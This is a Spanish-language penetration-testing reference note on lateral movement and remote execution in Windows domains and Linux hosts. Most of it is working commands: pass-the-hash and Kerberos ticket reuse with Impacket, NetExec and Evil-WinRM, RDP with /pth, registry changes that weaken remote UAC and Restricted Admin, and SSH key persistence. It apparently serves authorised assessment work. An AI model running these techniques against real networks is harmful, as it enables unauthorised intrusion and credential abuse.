Acceso remoto

El acceso remoto depende de cuatro elementos: un protocolo alcanzable, material de autenticación compatible, autorización sobre el servicio y el tipo de interacción que permite ese mecanismo. Separarlos evita descartar una credencial válida porque falle una interfaz concreta y facilita cambiar de ruta cuando el objetivo expone varias opciones.

Referencia rápida

El puerto inicial no siempre describe toda la ruta. impacket-wmiexec, por ejemplo, ejecuta mediante WMI/DCOM pero normalmente recupera stdout a través de SMB. impacket-atexec usa Task Scheduler RPC sobre \pipe\atsvc y también utiliza ADMIN$ para recuperar la salida.

Material de autenticación

Cuentas locales y de dominio

En Windows conviene distinguir desde el principio entre una identidad de dominio:

CORP\analyst

y una cuenta del SAM local:

WIN01\Administrator

La misma contraseña o NT hash puede producir resultados distintos según el ámbito de la cuenta. Además, Remote UAC puede filtrar el token de una cuenta local que pertenece a Administrators: la autenticación funciona, pero operaciones administrativas remotas devuelven ACCESS_DENIED.

Con NetExec, --local-auth fuerza la interpretación local:

nxc smb win01.corp.local \
  -u Administrator \
  -p '<PASSWORD>' \
  --local-auth

nxc smb win01.corp.local \
  -u Administrator \
  -H <NTHASH> \
  --local-auth

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ^
  /v LocalAccountTokenFilterPolicy ^
  /t REG_DWORD ^
  /d 1 ^
  /f

Contraseñas

Una contraseña es el material más portable de esta Note. Puede participar en SSH, RDP, WinRM, SMB/SCM, WMI/DCOM y Task Scheduler siempre que el servicio acepte el método de autenticación correspondiente.

Que la contraseña sea correcta solo resuelve la autenticación. RDP puede denegar el logon, WinRM puede rechazar la creación de una sesión y SMB puede autenticar una cuenta que no tenga acceso al Service Control Manager.

NT hashes

Un NT hash puede reutilizarse mediante herramientas capaces de realizar autenticación NTLM a partir del hash.

Usos habituales:

• SMB y ejecución mediante SCM.
• WMI/DCOM.
• Task Scheduler mediante clientes compatibles.
• WinRM con clientes NTLM como Evil-WinRM o NetExec.
• RDP cuando Restricted Admin está disponible.

No es un sustituto universal de una contraseña y no proporciona autenticación SSH.

Impacket utiliza -hashes:

impacket-psexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local'

NetExec acepta directamente el NT hash:

nxc smb win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH>

Tickets Kerberos y caches

Kerberos es service-oriented. Un TGT permite pedir tickets de servicio mientras sea válido y exista acceso al KDC. Un TGS ya está asociado a un SPN concreto, por ejemplo:

cifs/win01.corp.local
HTTP/win01.corp.local

En Linux, muchas herramientas ofensivas consumen una credential cache mediante KRB5CCNAME:

export KRB5CCNAME="$PWD/analyst.ccache"
klist

Impacket usa esa cache con -k:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-psexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local'

El mismo patrón funciona con smbexec, wmiexec y atexec.

Obtener un TGT desde Linux

Con contraseña:

kinit analyst@CORP.LOCAL
klist

Con Impacket y contraseña:

impacket-getTGT 'CORP.LOCAL/analyst:<PASSWORD>'
export KRB5CCNAME="$PWD/analyst.ccache"

Con NT hash:

impacket-getTGT \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst'

Con una AES key:

impacket-getTGT \
  -aesKey <AES_KEY> \
  'CORP.LOCAL/analyst'

El fichero generado puede seleccionarse después con KRB5CCNAME.

Realm, DNS, SPN y hora

Una configuración mínima puede ser:

[libdefaults]
  default_realm = CORP.LOCAL
  dns_lookup_kdc = true
  rdns = false

[realms]
  CORP.LOCAL = {
    kdc = dc01.corp.local
  }

Validar un SPN concreto ayuda a separar problemas de Kerberos de problemas de autorización:

kvno cifs/win01.corp.local
kvno HTTP/win01.corp.local

Para Kerberos, usa normalmente el hostname o FQDN correspondiente al SPN en lugar de sustituirlo por una IP.

Claves y certificados SSH

Una clave privada SSH sirve para autenticación public-key cuando el servidor confía en la clave pública correspondiente:

ssh \
  -i ./id_ed25519 \
  -o IdentitiesOnly=yes \
  analyst@linux01.corp.local

Un certificado de usuario OpenSSH es distinto de un certificado X.509. El servidor debe confiar en la CA SSH que lo firmó y aceptar sus principals y restricciones.

ssh \
  -i ./analyst_key \
  -o CertificateFile=./analyst_key-cert.pub \
  analyst@linux01.corp.local

Certificados X.509

Un certificado X.509 no es una credencial remota universal de Windows.

En WinRM, la autenticación directa con certificado requiere que el servidor tenga certificate authentication habilitado y un CertMapping que asocie el certificado a una cuenta local.

En Active Directory, un certificado puede servir en otros workflows para obtener material Kerberos. En ese caso SMB, WMI o WinRM terminan consumiendo Kerberos; no están aceptando directamente el certificado como sustituto del password o del hash.

SSH

Contraseña

ssh analyst@linux01.corp.local

Clave privada

chmod 600 ./id_ed25519

ssh \
  -i ./id_ed25519 \
  -o IdentitiesOnly=yes \
  analyst@linux01.corp.local

Una clave recuperada puede seguir fallando si está cifrada, no está autorizada para ese usuario, tiene restricciones from= o command=, el servidor aplica ForceCommand o la cuenta no dispone de shell.

Ejecutar un comando

ssh analyst@linux01.corp.local 'id; hostname'

ssh \
  -i ./id_ed25519 \
  -o IdentitiesOnly=yes \
  analyst@linux01.corp.local \
  'id; hostname'

Añadir una clave temporal

Generar una clave dedicada:

ssh-keygen \
  -t ed25519 \
  -f ./assessment_ed25519 \
  -C 'assessment'

En el destino:

install -d -m 700 ~/.ssh
cat /tmp/assessment_ed25519.pub >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Después:

ssh \
  -i ./assessment_ed25519 \
  -o IdentitiesOnly=yes \
  analyst@linux01.corp.local

Usa append sobre authorized_keys; sobrescribirlo elimina las claves ya configuradas para el usuario.

Jump hosts

ssh \
  -J operator@jump.corp.local \
  analyst@linux01.internal.corp.local

Varios saltos:

ssh \
  -J operator@jump1.corp.local,operator@jump2.corp.local \
  analyst@linux01.internal.corp.local

ProxyJump resuelve la conectividad hasta el destino. La autenticación SSH final sigue ocurriendo contra el último host.

RDP

Contraseña y credenciales Windows

mstsc.exe /v:win01.corp.local /prompt

xfreerdp \
  /v:win01.corp.local \
  /u:'CORP\analyst' \
  /dynamic-resolution

Una cuenta válida necesita además el derecho de logon mediante Remote Desktop Services. Un deny explícito prevalece sobre la pertenencia a grupos que normalmente concederían acceso.

NT hash y Restricted Admin

FreeRDP permite PtH mediante Restricted Admin:

xfreerdp \
  /v:win01.corp.local \
  /u:Administrator \
  /pth:<NTHASH> \
  /dynamic-resolution

Restricted Admin requiere privilegios administrativos en el destino y soporte/configuración del modo. /pth no debe interpretarse como una propiedad genérica de RDP.

reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa ^
  /v DisableRestrictedAdmin ^
  /t REG_DWORD ^
  /d 0 ^
  /f

Kerberos

Un cliente Windows puede utilizar Kerberos dentro del contexto de autenticación del usuario cuando el target name, SPN y políticas lo permiten.

FreeRDP expone opciones Kerberos, pero el uso de una cache Linux para producir una sesión NLA/RDP depende del cliente, build y modo de delegación. No se documenta aquí como un ccache → RDP universal.

Para trabajo de campo, trata RDP Kerberos como una ruta a validar en el cliente concreto y conserva como casos deterministas:

• Contraseña o contexto Windows existente.
• NT hash con Restricted Admin.

WinRM y PowerShell Remoting

Los listeners WinRM utilizan por defecto:

5985/tcp  HTTP
5986/tcp  HTTPS

PowerShell Remoting usa WinRM como transporte para PSRP. Un listener accesible y una credencial válida no garantizan permiso para crear una sesión en el endpoint.

PowerShell desde Windows

Comprobar el endpoint:

Test-WSMan win01.corp.local

Sesión interactiva:

$cred = Get-Credential 'CORP\analyst'

Enter-PSSession `
  -ComputerName win01.corp.local `
  -Credential $cred

Comando:

Invoke-Command `
  -ComputerName win01.corp.local `
  -Credential $cred `
  -ScriptBlock {
    whoami
    hostname
  }

Sesión persistente:

$session = New-PSSession `
  -ComputerName win01.corp.local `
  -Credential $cred

Invoke-Command `
  -Session $session `
  -ScriptBlock {
    whoami
    hostname
  }

Remove-PSSession $session

Con el contexto Kerberos actual:

Enter-PSSession `
  -ComputerName win01.corp.local `
  -Authentication Kerberos

Usar una IP impide la ruta Kerberos normal de PowerShell Remoting y suele provocar NTLM u otros requisitos de configuración.

WinRS

winrs.exe proporciona ejecución de comandos mediante WinRM desde Windows:

winrs /r:win01.corp.local whoami

Con usuario explícito:

winrs /r:win01.corp.local /u:CORP\analyst whoami

HTTPS:

winrs /r:win01.corp.local /usessl whoami

Evil-WinRM

Contraseña:

evil-winrm \
  -i win01.corp.local \
  -u 'CORP\analyst' \
  -p '<PASSWORD>'

NT hash:

evil-winrm \
  -i win01.corp.local \
  -u 'CORP\analyst' \
  -H <NTHASH>

Kerberos:

evil-winrm \
  -i win01.corp.local \
  -r CORP.LOCAL \
  -K ./analyst.ccache

Para Kerberos utiliza el FQDN correspondiente al SPN esperado.

NetExec

Password:

nxc winrm win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -p '<PASSWORD>' \
  -x 'whoami'

NT hash:

nxc winrm win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH> \
  -x 'whoami'

PowerShell:

nxc winrm win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH> \
  -X '$env:COMPUTERNAME'

El CLI genérico de NetExec expone opciones Kerberos, pero la implementación WinRM actual utiliza NTLM. Para Kerberos, usa PowerShell Remoting, Evil-WinRM u otro cliente que implemente esa ruta.

Certificado de cliente

Evil-WinRM acepta certificado y private key:

evil-winrm \
  -i win01.corp.local \
  -S \
  -P 5986 \
  -c ./client.pem \
  -k ./client.key

Solo funcionará si WinRM tiene certificate authentication configurado y el certificado coincide con un CertMapping válido hacia una cuenta local.

Second hop

Una sesión puede funcionar:

operator → win01

y fallar al intentar desde ella:

win01 → fileserver

como la identidad original.

Es el second-hop problem de PowerShell Remoting. CredSSP es una opción de delegación, pero también existen configuraciones basadas en Kerberos delegation o el uso explícito de otras credenciales.

Para lookup, la distinción importante es:

WinRM a host A funciona
        ≠
host A puede autenticarse a host B como el mismo usuario

SMB y Service Control Manager

Autenticarse por SMB y poder ejecutar mediante SCM son capacidades distintas. Una cuenta puede enumerar shares y fallar al abrir el Service Control Manager o crear un servicio.

PsExec

PsExec.exe \\win01.corp.local -accepteula -u CORP\analyst cmd.exe

impacket-psexec \
  'CORP.LOCAL/analyst@win01.corp.local'

Con NT hash:

impacket-psexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local'

Con Kerberos:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-psexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local'

La implementación de Impacket accede a SCM mediante \pipe\svcctl, instala RemComSvc y utiliza named pipes adicionales para stdin/stdout/stderr.

SMBExec

Password:

impacket-smbexec \
  'CORP.LOCAL/analyst@win01.corp.local'

NT hash:

impacket-smbexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local'

Kerberos:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-smbexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local'

SMBExec también usa SCM, pero crea un servicio cuyo command line ejecuta el comando solicitado y redirige la salida. No utiliza el mismo modelo de payload que psexec.

NetExec

nxc smb win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH> \
  -x 'whoami' \
  --exec-method smbexec

Los métodos de ejecución SMB actuales incluyen:

wmiexec
mmcexec
smbexec
atexec

Seleccionar wmiexec o atexec desde nxc smb puede introducir dependencias de otros RPC/interfaces. El hecho de iniciar la operación desde el módulo SMB de NetExec no convierte todas esas técnicas en ejecución puramente SMB.

WMI y CIM

WMI sigue siendo una tecnología soportada y útil para ejecución remota. Lo que Microsoft ha retirado de Windows actuales es la utilidad wmic.exe, no la infraestructura WMI.

Impacket WMIExec

Password:

impacket-wmiexec \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

NT hash:

impacket-wmiexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

Kerberos:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-wmiexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

impacket-wmiexec usa WMI sobre DCOM y Win32_Process.Create. Normalmente requiere TCP/135, puertos RPC dinámicos y SMB para recuperar la salida desde un administrative share.

Sin recuperar stdout:

impacket-wmiexec \
  -nooutput \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'cmd.exe /c <COMMAND>'

El proceso remoto se ejecuta en el contexto del usuario autenticado, no como el SYSTEM típico de ejecución mediante servicios.

NetExec WMI

nxc wmi win01.corp.local \
  -u analyst \
  -d CORP.LOCAL \
  -H <NTHASH> \
  -x 'whoami'

El wmiexec actual del módulo WMI de NetExec obtiene los resultados mediante el registro en lugar de depender del canal SMB de salida de impacket-wmiexec.

CIM sobre WS-Man

Los cmdlets CIM son la interfaz PowerShell actual para trabajar con providers CIM/WMI. New-CimSession usa WS-Man por defecto:

$cred = Get-Credential 'CORP\analyst'

$cim = New-CimSession `
  -ComputerName win01.corp.local `
  -Credential $cred

Ejecutar mediante Win32_Process.Create:

Invoke-CimMethod `
  -CimSession $cim `
  -ClassName Win32_Process `
  -MethodName Create `
  -Arguments @{
    CommandLine = 'cmd.exe /c whoami > C:\Windows\Temp\whoami.txt'
  }

Remove-CimSession $cim

La llamada crea un proceso no interactivo y devuelve información de creación; no proporciona una shell ni stdout.

CIM sobre DCOM

$options = New-CimSessionOption -Protocol Dcom

$cim = New-CimSession `
  -ComputerName win01.corp.local `
  -Credential $cred `
  -SessionOption $options

La misma interfaz CIM puede, por tanto, utilizar WS-Man o DCOM. CIM no debe interpretarse como un protocolo de red independiente.

WMIC legacy

En sistemas donde wmic.exe todavía exista, sigue siendo una interfaz utilizable:

where wmic

Su retirada de versiones actuales de Windows afecta a su disponibilidad, no a la utilidad ofensiva del binario cuando aparece ni a la existencia de WMI.

Scheduled Tasks

Impacket atexec

Password:

impacket-atexec \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

NT hash:

impacket-atexec \
  -hashes ':<NTHASH>' \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

Kerberos:

KRB5CCNAME="$PWD/analyst.ccache" \
impacket-atexec \
  -k -no-pass \
  'CORP.LOCAL/analyst@win01.corp.local' \
  'whoami'

La implementación actual usa Task Scheduler RPC sobre \pipe\atsvc, registra una tarea temporal como LocalSystem, la ejecuta, elimina la tarea y recupera la salida desde ADMIN$\Temp.

schtasks

Crear:

schtasks /Create ^
  /S win01.corp.local ^
  /TN DfulAssessmentOnce ^
  /SC ONCE ^
  /ST <HH:MM> ^
  /TR "cmd.exe /c whoami > C:\Windows\Temp\dful-whoami.txt" ^
  /F

Ejecutar:

schtasks /Run ^
  /S win01.corp.local ^
  /TN DfulAssessmentOnce

Eliminar:

schtasks /Delete ^
  /S win01.corp.local ^
  /TN DfulAssessmentOnce ^
  /F

atexec y schtasks consumen la misma capacidad general de Task Scheduler, pero no debe asumirse que todos los clientes utilizan exactamente el mismo transporte o mecanismo de recuperación de salida que Impacket.

Troubleshooting

Autenticación y autorización

Separa la ruta en capas:

red
 ↓
servicio / transporte
 ↓
autenticación
 ↓
autorización
 ↓
ejecución / sesión
 ↓
recuperación de salida

Ejemplos frecuentes:

445 accesible
+ SMB autentica
+ shares visibles
- SCM devuelve ACCESS_DENIED

La credencial es válida para SMB; falla la autorización necesaria para PsExec/SMBExec.

5985 accesible
+ WinRM autentica
- el endpoint deniega Invoke/session

El listener y la credencial funcionan; falla la autorización del endpoint.

WMI ejecuta
- wmiexec no devuelve stdout

La ejecución DCOM puede funcionar mientras falle el canal SMB de salida.

Kerberos

Si Kerberos funciona con una herramienta y falla con otra, revisa primero el servicio solicitado:

cifs/win01.corp.local
HTTP/win01.corp.local

Comprueba la cache:

klist

Solicita explícitamente un SPN:

kvno cifs/win01.corp.local

Los fallos comunes compartidos por varias herramientas son DNS, FQDN/SPN incorrecto, KDC equivocado, tickets caducados y clock skew.

Cambiar de mecanismo

Una misma identidad puede:

• Autenticarse por SMB y fallar SCM.
• Ejecutar mediante SCM y fallar WMI.
• Ejecutar WMI y fallar Task Scheduler.
• Autenticarse en WinRM y no poder abrir un endpoint PSRP.
• Tener derecho de RDP normal y no cumplir los requisitos de Restricted Admin.
• Ser administrador local y recibir un token remoto filtrado.

Cuando otra interfaz accesible acepta el mismo material de autenticación, cambiar de mecanismo suele ser más útil que seguir interpretando cada ACCESS_DENIED como un problema de credenciales.

Referencias

• Microsoft — Remote Credential Guard y Restricted Admin.
• Microsoft — Seguridad de PowerShell Remoting y WinRM.
• Microsoft — Autenticación WinRM y certificate mapping.
• Microsoft — UAC remote restrictions.
• Microsoft — New-CimSession, New-CimSessionOption e Invoke-CimMethod.
• Microsoft — Win32_Process.Create.
• Microsoft — winrs.
• Microsoft — retirada de WMIC y estado de WMI.
• OpenBSD — manuales actuales de OpenSSH.
• FreeRDP — argumentos actuales del cliente.
• Fortra — Impacket psexec, smbexec, wmiexec, atexec y getTGT.
• Hackplayers — Evil-WinRM.
• NetExec — implementaciones actuales SMB, WinRM y WMI.